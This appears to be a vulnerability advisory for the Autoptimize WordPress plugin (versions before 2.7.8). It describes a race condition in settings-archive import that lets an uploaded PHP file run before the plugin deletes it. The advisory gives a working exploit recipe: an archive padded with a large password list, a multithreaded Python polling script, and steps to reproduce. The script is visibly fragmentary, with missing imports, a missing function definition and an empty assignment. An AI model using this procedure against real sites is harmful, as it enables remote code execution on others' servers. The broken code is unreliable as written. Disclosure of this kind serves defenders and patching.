Autoptimize < 2.7.8 - Race Condition leading to RCE
The plugin attempts to remove potential malicious files from the extracted archive uploaded via the 'Import Settings' feature, however this is not sufficient to protect against RCE as a race condition can be achieved in between the moment the file is extracted on the disk but not yet removed. It is a bypass of CVE-2020-24948.
Proof of Concept
To increase the period between extraction of a file and its removal I added another, bigger file to the archive. In fact it was a 4MB list of passwords. This results in having more time between extraction of first (test.php) and second (zzz.txt) files, so that test.php is available for more time.
Exemplary file to use as a second file (zzz.txt) could be for example: https://gitlab.com/kalilinux/packages/seclists/blob/0aab3b70769ed9faf79b3c1159fb32ef131c7ee6/Passwords/xato-net-10-million-passwords-dup.txt
The structure of an archive is as presented:
$ zip -sf upload.zip
Total 3 entries (4366552 bytes)
settings.json is an empty file.
Python Script for Race Condition:
from threading import Thread
response = requests.get('http://my_address_here/wp/wp-content/uploads/ao_ccss/test.php')
if 'PHP Version' in response.text:
print(name + " Race condition succeeded.")
threads = 
for i in range(0, 5):
t = Thread(target=requestor, args=("Thread-"+str(i), ))
for t in threads:
Steps to reproduce the vulnerability:
Run the script:
Upload zip archive using upload here: http://my_address_here/wp/wp-admin/options-general.php?page=ao_critcss
The script should give an output similar to this one:
Thread-4 Race condition succeeded.
In my case, race condition almost always succeed on remote host.